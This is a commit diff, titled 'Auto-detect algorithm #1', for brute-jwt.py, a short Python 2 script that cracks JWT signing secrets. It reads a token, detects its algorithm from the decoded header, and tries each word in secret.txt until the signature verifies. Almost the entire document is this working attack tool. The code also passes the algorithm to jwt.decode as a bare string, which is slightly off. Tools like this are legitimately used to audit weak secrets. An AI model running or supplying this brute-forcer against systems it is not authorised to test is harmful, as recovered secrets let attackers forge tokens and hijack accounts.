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Auto-detect algorithm #1

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Auto-detect algorithm #1

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12 changes: 9 additions & 3 deletions brute-jwt.py
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Original file line number Diff line number Diff line change
@@ -1,19 +1,25 @@
#!/usr/bin/python

import jwt;
import base64
import json
import jwt
from termcolor import colored

print colored("Script to brute-force JWT secret token",'white')
encoded = raw_input("Enter encoded payload: ")

header_base64, remainder = encoded.split(b'.', 1)
header_json = base64.b64decode(header_base64)
algorithm = json.loads(header_json.decode('utf-8')).get('alg')
print colored('Detected algorithm [' + algorithm + ']','green')

with open('secret.txt') as secrets:
for secret in secrets:
try:
payload = jwt.decode(encoded, secret.rstrip(), algorithms=['HS256'])
payload = jwt.decode(encoded, secret.rstrip(), algorithm)
print colored('Success! Token decoded with ....[' + secret.rstrip() + ']','green')
break
except jwt.InvalidTokenError:
print colored('Invalid Token .... [' + secret.rstrip() + ']','red')
except jwt.ExpiredSignatureError:
print colored('Token Expired ....[' + secret.rstrip() + ']','red')
print colored('Token Expired ....[' + secret.rstrip() + ']','red')